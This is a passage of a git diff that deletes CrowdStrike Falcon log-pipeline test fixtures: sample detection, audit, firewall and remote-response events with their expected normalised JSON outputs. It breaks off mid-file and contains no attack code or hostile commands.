-            "tags": [
-                "preserve_original_event"
-            ],
-            "threat": {
-                "tactic": {
-                    "name": [
-                        "Initial Access"
-                    ]
-                },
-                "technique": {
-                    "name": [
-                        "Valid Accounts"
-                    ]
-                }
-            },
-            "user": {
-                "domain": "DOMAIN.COM",
-                "id": "S-1-3-44-55555555-666666666-7777777777-88888",
-                "name": "johnb"
-            }
-        }
-    ]
-}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-mobile-detection-summary.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-mobile-detection-summary.log
deleted file mode 100644
index 9a5d1e9499..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-mobile-detection-summary.log
+++ /dev/null
@@ -1,80 +0,0 @@
-{
-	"metadata": {
-		"customerIDString": "0123456789ABCDEFGHIJKLMNOPQRSTUV",
-		"offset": 701283,
-		"eventType": "MobileDetectionSummaryEvent",
-		"eventCreationTime": 1649420269000,
-		"version": "1.0"
-	},
-	"event": {
-		"SensorId": "85ae98xxxxxxd9a8f2",
-		"MobileDetectionId": 1310556238,
-		"ComputerName": "TESTComputer",
-		"UserName": "TestUSER",
-		"ContextTimeStamp": 1649061056,
-		"DetectId": "0123456789ABCDEFGHIJKLMNOPQRSTUV:ind:85ae98xxxxxxd9a8f2:41104|1310556238",
-		"DetectName": "AppSideloadDetected",
-		"DetectDescription": "Apps are installed from outside the PlayStore. Trigger based on a System callback when apps are installed or updated. ",
-		"Tactic": "Insecure security posture",
-		"TacticId": "CSTA0009",
-		"Technique": "Bad device settings",
-		"TechniqueId": "CST0024",
-		"Objective": "Falcon Detection Method",
-		"Severity": 50,
-		"FalconHostLink": "https://falcon.crowdstrike.com/mobile/detections/0123456789ABCDEFGHIJKLMNOPQRSTUV:ind:85ae98xxxxxxd9a8f2:41104|1310556238?_cid=0123456789ABCDEFGHIJKLMNOPQRSTUV",
-		"MobileAppsDetails": [{
-			"AppIdentifier": "com.facebook.katana",
-			"AndroidAppLabel": "Facebook",
-			"DexFileHashes": "abc456xxxxxxxxxxxxxxxxdef789",
-			"ImageFileName": "/data/app/com.facebook.katana-djFExxxxxxxxxrkg==/base.apk",
-			"AppInstallerInformation": "unknown",
-			"IsBeingDebugged": false,
-			"AndroidAppVersionName": "323.0.0.46.119",
-			"IsContainerized": false
-		}]
-	}
-}
-{
-	"metadata": {
-		"customerIDString": "0123456789ABCDEFGHIJKLMNOPQRSTUV",
-		"offset": 701283,
-		"eventType": "MobileDetectionSummaryEvent",
-		"eventCreationTime": 1649420269000,
-		"version": "1.0"
-	},
-	"event": {
-		"SensorId": "85ae98xxxxxxd9a8f2",
-		"MobileDetectionId": 1310556238,
-		"ComputerName": "TESTComputer",
-		"UserName": "TestUSER",
-		"ContextTimeStamp": 1649061056,
-		"DetectId": "0123456789ABCDEFGHIJKLMNOPQRSTUV:ind:85ae98xxxxxxd9a8f2:41104|1310556238",
-		"DetectName": "AppSideloadDetected",
-		"DetectDescription": "Apps are installed from outside the PlayStore. Trigger based on a System callback when apps are installed or updated. ",
-		"Tactic": "Insecure security posture",
-		"TacticId": "CSTA0009",
-		"Technique": "Bad device settings",
-		"TechniqueId": "CST0024",
-		"Objective": "Falcon Detection Method",
-		"Severity": 50,
-		"FalconHostLink": "https://falcon.crowdstrike.com/mobile/detections/0123456789ABCDEFGHIJKLMNOPQRSTUV:ind:85ae98xxxxxxd9a8f2:41104|1310556238?_cid=0123456789ABCDEFGHIJKLMNOPQRSTUV",
-		"MitreAttack": [
-			{
-				"Tactic": "Insecure security posture",
-				"TacticID": "CSTA0009",
-				"Technique": "Bad device settings",
-				"TechniqueID": "CST0024"
-			}
-		],
-		"MobileAppsDetails": [{
-			"AppIdentifier": "com.facebook.katana",
-			"AndroidAppLabel": "Facebook",
-			"DexFileHashes": "abc456xxxxxxxxxxxxxxxxdef789",
-			"ImageFileName": "/data/app/com.facebook.katana-djFExxxxxxxxxrkg==/base.apk",
-			"AppInstallerInformation": "unknown",
-			"IsBeingDebugged": false,
-			"AndroidAppVersionName": "323.0.0.46.119",
-			"IsContainerized": false
-		}]
-	}
-}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-mobile-detection-summary.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-mobile-detection-summary.log-expected.json
deleted file mode 100644
index d9f92bfbdc..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-mobile-detection-summary.log-expected.json
+++ /dev/null
@@ -1,196 +0,0 @@
-{
-    "expected": [
-        {
-            "@timestamp": "2022-04-08T12:17:49.000Z",
-            "crowdstrike": {
-                "event": {
-                    "MobileAppsDetails": [
-                        {
-                            "AndroidAppLabel": "Facebook",
-                            "AndroidAppVersionName": "323.0.0.46.119",
-                            "AppIdentifier": "com.facebook.katana",
-                            "AppInstallerInformation": "unknown",
-                            "DexFileHashes": "abc456xxxxxxxxxxxxxxxxdef789",
-                            "ImageFileName": "/data/app/com.facebook.katana-djFExxxxxxxxxrkg==/base.apk",
-                            "IsBeingDebugged": false,
-                            "IsContainerized": false
-                        }
-                    ],
-                    "Objective": "Falcon Detection Method",
-                    "Severity": 50
-                },
-                "metadata": {
-                    "customerIDString": "0123456789ABCDEFGHIJKLMNOPQRSTUV",
-                    "eventType": "MobileDetectionSummaryEvent",
-                    "offset": 701283,
-                    "version": "1.0"
-                }
-            },
-            "device": {
-                "id": "85ae98xxxxxxd9a8f2"
-            },
-            "ecs": {
-                "version": "8.17.0"
-            },
-            "event": {
-                "action": "mobile-detection",
-                "category": [
-                    "malware"
-                ],
-                "created": "2022-04-04T08:30:56.000Z",
-                "id": "1310556238",
-                "kind": "alert",
-                "original": "{\n\t\"metadata\": {\n\t\t\"customerIDString\": \"0123456789ABCDEFGHIJKLMNOPQRSTUV\",\n\t\t\"offset\": 701283,\n\t\t\"eventType\": \"MobileDetectionSummaryEvent\",\n\t\t\"eventCreationTime\": 1649420269000,\n\t\t\"version\": \"1.0\"\n\t},\n\t\"event\": {\n\t\t\"SensorId\": \"85ae98xxxxxxd9a8f2\",\n\t\t\"MobileDetectionId\": 1310556238,\n\t\t\"ComputerName\": \"TESTComputer\",\n\t\t\"UserName\": \"TestUSER\",\n\t\t\"ContextTimeStamp\": 1649061056,\n\t\t\"DetectId\": \"0123456789ABCDEFGHIJKLMNOPQRSTUV:ind:85ae98xxxxxxd9a8f2:41104|1310556238\",\n\t\t\"DetectName\": \"AppSideloadDetected\",\n\t\t\"DetectDescription\": \"Apps are installed from outside the PlayStore. Trigger based on a System callback when apps are installed or updated. \",\n\t\t\"Tactic\": \"Insecure security posture\",\n\t\t\"TacticId\": \"CSTA0009\",\n\t\t\"Technique\": \"Bad device settings\",\n\t\t\"TechniqueId\": \"CST0024\",\n\t\t\"Objective\": \"Falcon Detection Method\",\n\t\t\"Severity\": 50,\n\t\t\"FalconHostLink\": \"https://falcon.crowdstrike.com/mobile/detections/0123456789ABCDEFGHIJKLMNOPQRSTUV:ind:85ae98xxxxxxd9a8f2:41104|1310556238?_cid=0123456789ABCDEFGHIJKLMNOPQRSTUV\",\n\t\t\"MobileAppsDetails\": [{\n\t\t\t\"AppIdentifier\": \"com.facebook.katana\",\n\t\t\t\"AndroidAppLabel\": \"Facebook\",\n\t\t\t\"DexFileHashes\": \"abc456xxxxxxxxxxxxxxxxdef789\",\n\t\t\t\"ImageFileName\": \"/data/app/com.facebook.katana-djFExxxxxxxxxrkg==/base.apk\",\n\t\t\t\"AppInstallerInformation\": \"unknown\",\n\t\t\t\"IsBeingDebugged\": false,\n\t\t\t\"AndroidAppVersionName\": \"323.0.0.46.119\",\n\t\t\t\"IsContainerized\": false\n\t\t}]\n\t}\n}",
-                "reference": "https://falcon.crowdstrike.com/mobile/detections/0123456789ABCDEFGHIJKLMNOPQRSTUV:ind:85ae98xxxxxxd9a8f2:41104|1310556238?_cid=0123456789ABCDEFGHIJKLMNOPQRSTUV",
-                "type": [
-                    "info"
-                ]
-            },
-            "host": {
-                "name": "TESTComputer"
-            },
-            "observer": {
-                "product": "Falcon",
-                "vendor": "Crowdstrike"
-            },
-            "related": {
-                "hosts": [
-                    "TESTComputer"
-                ],
-                "user": [
-                    "TestUSER"
-                ]
-            },
-            "rule": {
-                "description": "Apps are installed from outside the PlayStore. Trigger based on a System callback when apps are installed or updated. ",
-                "id": "0123456789ABCDEFGHIJKLMNOPQRSTUV:ind:85ae98xxxxxxd9a8f2:41104|1310556238",
-                "name": "AppSideloadDetected"
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "threat": {
-                "framework": "CrowdStrike Falcon Detections Framework",
-                "tactic": {
-                    "id": [
-                        "CSTA0009"
-                    ],
-                    "name": [
-                        "Insecure security posture"
-                    ]
-                },
-                "technique": {
-                    "id": [
-                        "CST0024"
-                    ],
-                    "name": [
-                        "Bad device settings"
-                    ]
-                }
-            },
-            "user": {
-                "name": "TestUSER"
-            }
-        },
-        {
-            "@timestamp": "2022-04-08T12:17:49.000Z",
-            "crowdstrike": {
-                "event": {
-                    "MitreAttack": [
-                        {
-                            "Tactic": "Insecure security posture",
-                            "TacticID": "CSTA0009",
-                            "Technique": "Bad device settings",
-                            "TechniqueID": "CST0024"
-                        }
-                    ],
-                    "MobileAppsDetails": [
-                        {
-                            "AndroidAppLabel": "Facebook",
-                            "AndroidAppVersionName": "323.0.0.46.119",
-                            "AppIdentifier": "com.facebook.katana",
-                            "AppInstallerInformation": "unknown",
-                            "DexFileHashes": "abc456xxxxxxxxxxxxxxxxdef789",
-                            "ImageFileName": "/data/app/com.facebook.katana-djFExxxxxxxxxrkg==/base.apk",
-                            "IsBeingDebugged": false,
-                            "IsContainerized": false
-                        }
-                    ],
-                    "Objective": "Falcon Detection Method",
-                    "Severity": 50
-                },
-                "metadata": {
-                    "customerIDString": "0123456789ABCDEFGHIJKLMNOPQRSTUV",
-                    "eventType": "MobileDetectionSummaryEvent",
-                    "offset": 701283,
-                    "version": "1.0"
-                }
-            },
-            "device": {
-                "id": "85ae98xxxxxxd9a8f2"
-            },
-            "ecs": {
-                "version": "8.17.0"
-            },
-            "event": {
-                "action": "mobile-detection",
-                "category": [
-                    "malware"
-                ],
-                "created": "2022-04-04T08:30:56.000Z",
-                "id": "1310556238",
-                "kind": "alert",
-                "original": "{\n\t\"metadata\": {\n\t\t\"customerIDString\": \"0123456789ABCDEFGHIJKLMNOPQRSTUV\",\n\t\t\"offset\": 701283,\n\t\t\"eventType\": \"MobileDetectionSummaryEvent\",\n\t\t\"eventCreationTime\": 1649420269000,\n\t\t\"version\": \"1.0\"\n\t},\n\t\"event\": {\n\t\t\"SensorId\": \"85ae98xxxxxxd9a8f2\",\n\t\t\"MobileDetectionId\": 1310556238,\n\t\t\"ComputerName\": \"TESTComputer\",\n\t\t\"UserName\": \"TestUSER\",\n\t\t\"ContextTimeStamp\": 1649061056,\n\t\t\"DetectId\": \"0123456789ABCDEFGHIJKLMNOPQRSTUV:ind:85ae98xxxxxxd9a8f2:41104|1310556238\",\n\t\t\"DetectName\": \"AppSideloadDetected\",\n\t\t\"DetectDescription\": \"Apps are installed from outside the PlayStore. Trigger based on a System callback when apps are installed or updated. \",\n\t\t\"Tactic\": \"Insecure security posture\",\n\t\t\"TacticId\": \"CSTA0009\",\n\t\t\"Technique\": \"Bad device settings\",\n\t\t\"TechniqueId\": \"CST0024\",\n\t\t\"Objective\": \"Falcon Detection Method\",\n\t\t\"Severity\": 50,\n\t\t\"FalconHostLink\": \"https://falcon.crowdstrike.com/mobile/detections/0123456789ABCDEFGHIJKLMNOPQRSTUV:ind:85ae98xxxxxxd9a8f2:41104|1310556238?_cid=0123456789ABCDEFGHIJKLMNOPQRSTUV\",\n\t\t\"MitreAttack\": [\n\t\t\t{\n\t\t\t\t\"Tactic\": \"Insecure security posture\",\n\t\t\t\t\"TacticID\": \"CSTA0009\",\n\t\t\t\t\"Technique\": \"Bad device settings\",\n\t\t\t\t\"TechniqueID\": \"CST0024\"\n\t\t\t}\n\t\t],\n\t\t\"MobileAppsDetails\": [{\n\t\t\t\"AppIdentifier\": \"com.facebook.katana\",\n\t\t\t\"AndroidAppLabel\": \"Facebook\",\n\t\t\t\"DexFileHashes\": \"abc456xxxxxxxxxxxxxxxxdef789\",\n\t\t\t\"ImageFileName\": \"/data/app/com.facebook.katana-djFExxxxxxxxxrkg==/base.apk\",\n\t\t\t\"AppInstallerInformation\": \"unknown\",\n\t\t\t\"IsBeingDebugged\": false,\n\t\t\t\"AndroidAppVersionName\": \"323.0.0.46.119\",\n\t\t\t\"IsContainerized\": false\n\t\t}]\n\t}\n}",
-                "reference": "https://falcon.crowdstrike.com/mobile/detections/0123456789ABCDEFGHIJKLMNOPQRSTUV:ind:85ae98xxxxxxd9a8f2:41104|1310556238?_cid=0123456789ABCDEFGHIJKLMNOPQRSTUV",
-                "type": [
-                    "info"
-                ]
-            },
-            "host": {
-                "name": "TESTComputer"
-            },
-            "observer": {
-                "product": "Falcon",
-                "vendor": "Crowdstrike"
-            },
-            "related": {
-                "hosts": [
-                    "TESTComputer"
-                ],
-                "user": [
-                    "TestUSER"
-                ]
-            },
-            "rule": {
-                "description": "Apps are installed from outside the PlayStore. Trigger based on a System callback when apps are installed or updated. ",
-                "id": "0123456789ABCDEFGHIJKLMNOPQRSTUV:ind:85ae98xxxxxxd9a8f2:41104|1310556238",
-                "name": "AppSideloadDetected"
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "threat": {
-                "framework": "CrowdStrike Falcon Detections Framework",
-                "tactic": {
-                    "id": [
-                        "CSTA0009"
-                    ],
-                    "name": [
-                        "Insecure security posture"
-                    ]
-                },
-                "technique": {
-                    "id": [
-                        "CST0024"
-                    ],
-                    "name": [
-                        "Bad device settings"
-                    ]
-                }
-            },
-            "user": {
-                "name": "TestUSER"
-            }
-        }
-    ]
-}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-non-object-dropped.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-non-object-dropped.log
deleted file mode 100644
index d411bb7c1a..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-non-object-dropped.log
+++ /dev/null
@@ -1 +0,0 @@
-400
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-non-object-dropped.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-non-object-dropped.log-expected.json
deleted file mode 100644
index c97daacf23..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-non-object-dropped.log-expected.json
+++ /dev/null
@@ -1,5 +0,0 @@
-{
-    "expected": [
-        null
-    ]
-}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-recon-notification.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-recon-notification.log
deleted file mode 100644
index 8d77763fc5..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-recon-notification.log
+++ /dev/null
@@ -1,23 +0,0 @@
-{
-    "metadata": {
-        "customerIDString": "1231231231231",
-        "offset": 2664218,
-        "eventType": "ReconNotificationSummaryEvent",
-        "eventCreationTime": 1686889114000,
-        "version": "1.0"
-    },
-    "event": {
-        "NotificationId": "oifgdjgpoidfsjhpoihio",
-        "Highlights": [
-            "Some highlighed text \u0026lt;cs-highlight\u0026gt;test\u0026lt;/cs-highlight\u0026gt; \u0026lt;cs-highlight\u0026gt;gdsfgasd\u0026lt;/cs-highlight\u0026gt;.\n\nAs an Some more text"
-        ],
-        "MatchedTimestamp": 1686889114000,
-        "RuleId": "123543-0cb1-4806-9ccd-a543123",
-        "RuleName": "TestRuleName",
-        "RuleTopic": "TestRuleTopic",
-        "RulePriority": "high",
-        "ItemId": "oigjfdsiughsiopudhfoiusadhfiouhipou==",
-        "ItemType": "post",
-        "ItemPostedTimestamp": 1686873909000
-    }
-}
\ No newline at end of file
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-recon-notification.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-recon-notification.log-expected.json
deleted file mode 100644
index 5d97d87ebb..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-recon-notification.log-expected.json
+++ /dev/null
@@ -1,53 +0,0 @@
-{
-    "expected": [
-        {
-            "@timestamp": "2023-06-16T04:18:34.000Z",
-            "crowdstrike": {
-                "event": {
-                    "Highlights": [
-                        "Some highlighed text &lt;cs-highlight&gt;test&lt;/cs-highlight&gt; &lt;cs-highlight&gt;gdsfgasd&lt;/cs-highlight&gt;.\n\nAs an Some more text"
-                    ],
-                    "ItemPostedTimestamp": 1686873909000,
-                    "ItemType": "post",
-                    "NotificationId": "oifgdjgpoidfsjhpoihio",
-                    "RulePriority": "high"
-                },
-                "metadata": {
-                    "customerIDString": "1231231231231",
-                    "eventType": "ReconNotificationSummaryEvent",
-                    "offset": 2664218,
-                    "version": "1.0"
-                }
-            },
-            "ecs": {
-                "version": "8.17.0"
-            },
-            "event": {
-                "action": "recon-notification-post",
-                "category": [
-                    "threat"
-                ],
-                "created": "2023-06-16T00:05:09.000Z",
-                "id": "oigjfdsiughsiopudhfoiusadhfiouhipou==",
-                "kind": "event",
-                "original": "{\n    \"metadata\": {\n        \"customerIDString\": \"1231231231231\",\n        \"offset\": 2664218,\n        \"eventType\": \"ReconNotificationSummaryEvent\",\n        \"eventCreationTime\": 1686889114000,\n        \"version\": \"1.0\"\n    },\n    \"event\": {\n        \"NotificationId\": \"oifgdjgpoidfsjhpoihio\",\n        \"Highlights\": [\n            \"Some highlighed text \\u0026lt;cs-highlight\\u0026gt;test\\u0026lt;/cs-highlight\\u0026gt; \\u0026lt;cs-highlight\\u0026gt;gdsfgasd\\u0026lt;/cs-highlight\\u0026gt;.\\n\\nAs an Some more text\"\n        ],\n        \"MatchedTimestamp\": 1686889114000,\n        \"RuleId\": \"123543-0cb1-4806-9ccd-a543123\",\n        \"RuleName\": \"TestRuleName\",\n        \"RuleTopic\": \"TestRuleTopic\",\n        \"RulePriority\": \"high\",\n        \"ItemId\": \"oigjfdsiughsiopudhfoiusadhfiouhipou==\",\n        \"ItemType\": \"post\",\n        \"ItemPostedTimestamp\": 1686873909000\n    }\n}",
-                "type": [
-                    "indicator"
-                ]
-            },
-            "observer": {
-                "product": "Falcon",
-                "vendor": "Crowdstrike"
-            },
-            "rule": {
-                "description": "TestRuleTopic",
-                "id": "123543-0cb1-4806-9ccd-a543123",
-                "name": "TestRuleName",
-                "ruleset": "TestRuleTopic"
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        }
-    ]
-}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-remote-response.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-remote-response.log
deleted file mode 100644
index 71cf205a36..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-remote-response.log
+++ /dev/null
@@ -1,30 +0,0 @@
-{
-    "metadata": {
-        "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p",
-        "offset": 1045,
-        "eventType": "RemoteResponseSessionStartEvent",
-        "eventCreationTime": 1582830734000,
-        "version": "1.0"
-    },
-    "event": {
-        "SessionId": "12345a1bc2d34fghi56jk7890lmno12p",
-        "HostnameField": "hostnameofmachine",
-        "UserName": "first.last@company.com",
-        "StartTimestamp": 1582830734
-    }
-}
-{
-    "metadata": {
-        "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p",
-        "offset": 1046,
-        "eventType": "RemoteResponseSessionEndEvent",
-        "eventCreationTime": 1582830772000,
-        "version": "1.0"
-    },
-    "event": {
-        "SessionId": "12345a1bc2d34fghi56jk7890lmno12p",
-        "HostnameField": "hostnameofmachine",
-        "UserName": "first.last@company.com",
-        "EndTimestamp": 1582830772
-    }
-}
\ No newline at end of file
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-remote-response.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-remote-response.log-expected.json
deleted file mode 100644
index 144ede533f..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-remote-response.log-expected.json
+++ /dev/null
@@ -1,120 +0,0 @@
-{
-    "expected": [
-        {
-            "@timestamp": "2020-02-27T19:12:14.000Z",
-            "crowdstrike": {
-                "event": {
-                    "SessionId": "12345a1bc2d34fghi56jk7890lmno12p"
-                },
-                "metadata": {
-                    "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p",
-                    "eventType": "RemoteResponseSessionStartEvent",
-                    "offset": 1045,
-                    "version": "1.0"
-                }
-            },
-            "ecs": {
-                "version": "8.17.0"
-            },
-            "event": {
-                "action": [
-                    "remote_response_session_start_event"
-                ],
-                "category": [
-                    "network",
-                    "session"
-                ],
-                "created": "2020-02-27T19:12:14.000Z",
-                "kind": "event",
-                "original": "{\n    \"metadata\": {\n        \"customerIDString\": \"12345a1bc2d34fghi56jk7890lmno12p\",\n        \"offset\": 1045,\n        \"eventType\": \"RemoteResponseSessionStartEvent\",\n        \"eventCreationTime\": 1582830734000,\n        \"version\": \"1.0\"\n    },\n    \"event\": {\n        \"SessionId\": \"12345a1bc2d34fghi56jk7890lmno12p\",\n        \"HostnameField\": \"hostnameofmachine\",\n        \"UserName\": \"first.last@company.com\",\n        \"StartTimestamp\": 1582830734\n    }\n}",
-                "start": "2020-02-27T19:12:14.000Z",
-                "type": [
-                    "start"
-                ]
-            },
-            "host": {
-                "name": "hostnameofmachine"
-            },
-            "message": "Remote response session started.",
-            "observer": {
-                "product": "Falcon",
-                "vendor": "Crowdstrike"
-            },
-            "related": {
-                "hosts": [
-                    "hostnameofmachine"
-                ],
-                "user": [
-                    "first.last",
-                    "first.last@company.com"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "domain": "company.com",
-                "email": "first.last@company.com",
-                "name": "first.last"
-            }
-        },
-        {
-            "@timestamp": "2020-02-27T19:12:52.000Z",
-            "crowdstrike": {
-                "event": {
-                    "SessionId": "12345a1bc2d34fghi56jk7890lmno12p"
-                },
-                "metadata": {
-                    "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p",
-                    "eventType": "RemoteResponseSessionEndEvent",
-                    "offset": 1046,
-                    "version": "1.0"
-                }
-            },
-            "ecs": {
-                "version": "8.17.0"
-            },
-            "event": {
-                "action": [
-                    "remote_response_session_end_event"
-                ],
-                "category": [
-                    "network",
-                    "session"
-                ],
-                "created": "2020-02-27T19:12:52.000Z",
-                "end": "2020-02-27T19:12:52.000Z",
-                "kind": "event",
-                "original": "{\n    \"metadata\": {\n        \"customerIDString\": \"12345a1bc2d34fghi56jk7890lmno12p\",\n        \"offset\": 1046,\n        \"eventType\": \"RemoteResponseSessionEndEvent\",\n        \"eventCreationTime\": 1582830772000,\n        \"version\": \"1.0\"\n    },\n    \"event\": {\n        \"SessionId\": \"12345a1bc2d34fghi56jk7890lmno12p\",\n        \"HostnameField\": \"hostnameofmachine\",\n        \"UserName\": \"first.last@company.com\",\n        \"EndTimestamp\": 1582830772\n    }\n}",
-                "type": [
-                    "end"
-                ]
-            },
-            "host": {
-                "name": "hostnameofmachine"
-            },
-            "message": "Remote response session ended.",
-            "observer": {
-                "product": "Falcon",
-                "vendor": "Crowdstrike"
-            },
-            "related": {
-                "hosts": [
-                    "hostnameofmachine"
-                ],
-                "user": [
-                    "first.last",
-                    "first.last@company.com"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "domain": "company.com",
-                "email": "first.last@company.com",
-                "name": "first.last"
-            }
-        }
-    ]
-}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-sample.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-sample.log
deleted file mode 100644
index c14c961ca7..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-sample.log
+++ /dev/null
@@ -1,345 +0,0 @@
-{
-    "metadata": {
-        "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p",
-        "offset": 70689,
-        "eventType": "FirewallMatchEvent",
-        "eventCreationTime": 1595248906000,
-        "version": "1.0"
-    },
-    "event": {
-        "DeviceId": "718af202ab2c4ba5b6a5d10d39c0e0a5",
-        "CustomerId": "12345a1bc2d34fghi56jk7890lmno12p",
-        "Ipv": "ipv4",
-        "CommandLine": "",
-        "ConnectionDirection": "1",
-        "EventType": "FirewallRuleIP4Matched",
-        "Flags": {
-            "Audit": false,
-            "Log": false,
-            "Monitor": true
-        },
-        "HostName": "TESTDEVICE01",
-        "ICMPCode": "",
-        "ICMPType": "",
-        "ImageFileName": "",
-        "LocalAddress": "10.37.60.194",
-        "LocalPort": "445",
-        "MatchCount": 1,
-        "MatchCountSinceLastReport": 1,
-        "NetworkProfile": "2",
-        "PID": "206158879910",
-        "PolicyName": "PROD-FW-Workstations-General",
-        "PolicyID": "74e7f1552a3a4d90a6d65578642c8584",
-        "Protocol": "6",
-        "RemoteAddress": "10.37.60.21",
-        "RemotePort": "54952",
-        "RuleAction": "2",
-        "RuleDescription": "",
-        "RuleFamilyID": "fec73e96a1bf4481be582c3f89b234fa",
-        "RuleGroupName": "SMB Rules",
-        "RuleName": "Inbound SMB Block \u0026 Log Private",
-        "RuleId": "4877172638743447345",
-        "Status": "",
-        "Timestamp": "2020-07-20T12:41:44Z",
-        "TreeID": ""
-    }
-}
-{
-    "metadata": {
-        "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p",
-        "offset": 57181,
-        "eventType": "IncidentSummaryEvent",
-        "eventCreationTime": 1595005328414,
-        "version": "1.0"
-    },
-    "event": {
-        "IncidentStartTime": 1595005316,
-        "IncidentEndTime": 1595005316,
-        "FalconHostLink": "https://falcon.crowdstrike.com/crowdscore/incidents/details/inc:1234567893cd4e55b3a832ba2140478e:72e291e40c1544d390eabf135d875e54",
-        "State": "open",
-        "FineScore": 0.1,
-        "LateralMovement": 0
-    }
-}
-{
-    "metadata": {
-        "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p",
-        "offset": 70509,
-        "eventType": "AuthActivityAuditEvent",
-        "eventCreationTime": 1595247970093,
-        "version": "1.0"
-    },
-    "event": {
-        "UserId": "first.last@company.com",
-        "UserIp": "67.43.156.15",
-        "OperationName": "saml2Assert",
-        "ServiceName": "Crowdstrike Authentication",
-        "Success": true,
-        "UTCTimestamp": 1595247970,
-        "AuditKeyValues": [
-            {
-                "Key": "trace_id",
-                "ValueString": "b0b33836-555c-4e0e-a5ef-d368f6799f6b"
-            },
-            {
-                "Key": "actor_user",
-                "ValueString": "first.last@company.com"
-            },
-            {
-                "Key": "actor_user_uuid",
-                "ValueString": "123ab123-abc1-12a1-12a1-12a1ab12a1a1"
-            },
-            {
-                "Key": "actor_cid",
-                "ValueString": "123456a1ab1a12abc12ab1234abcd12a"
-            },
-            {
-                "Key": "target_user",
-                "ValueString": "first.last@company.com"
-            }
-        ]
-    }
-}
-{
-    "metadata": {
-        "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p",
-        "offset": 70683,
-        "eventType": "UserActivityAuditEvent",
-        "eventCreationTime": 1595248885000,
-        "version": "1.0"
-    },
-    "event": {
-        "UserId": "Crowdstrike",
-        "UserIp": "",
-        "OperationName": "quarantined_file_update",
-        "ServiceName": "quarantined_files",
-        "AuditKeyValues": [
-            {
-                "Key": "quarantined_file_id",
-                "ValueString": "ab1cde05567b455b93afbe2d3df352c9_328024a065630f897f09963d4b67b0c95d4054f540c2ca8014d5b012718bfa21"
-            },
-            {
-                "Key": "action_taken",
-                "ValueString": "quarantined"
-            }
-        ],
-        "UTCTimestamp": 1595248885
-    }
-}
-{
-    "metadata": {
-        "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p",
-        "offset": 57217,
-        "eventType": "RemoteResponseSessionStartEvent",
-        "eventCreationTime": 1595006093000,
-        "version": "1.0"
-    },
-    "event": {
-        "SessionId": "330633db-1cda-4355-b0d8-2c2edc91fe3e",
-        "HostnameField": "TESTDEVICE01",
-        "UserName": "first.last@company.com",
-        "StartTimestamp": 1595006093
-    }
-}
-{
-    "metadata": {
-        "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p",
-        "offset": 57269,
-        "eventType": "RemoteResponseSessionEndEvent",
-        "eventCreationTime": 1595006899000,
-        "version": "1.0"
-    },
-    "event": {
-        "SessionId": "330633db-1cda-4355-b0d8-2c2edc91fe3e",
-        "HostnameField": "TESTDEVICE01",
-        "UserName": "first.last@company.com",
-        "EndTimestamp": 1595006899,
-        "Commands": [
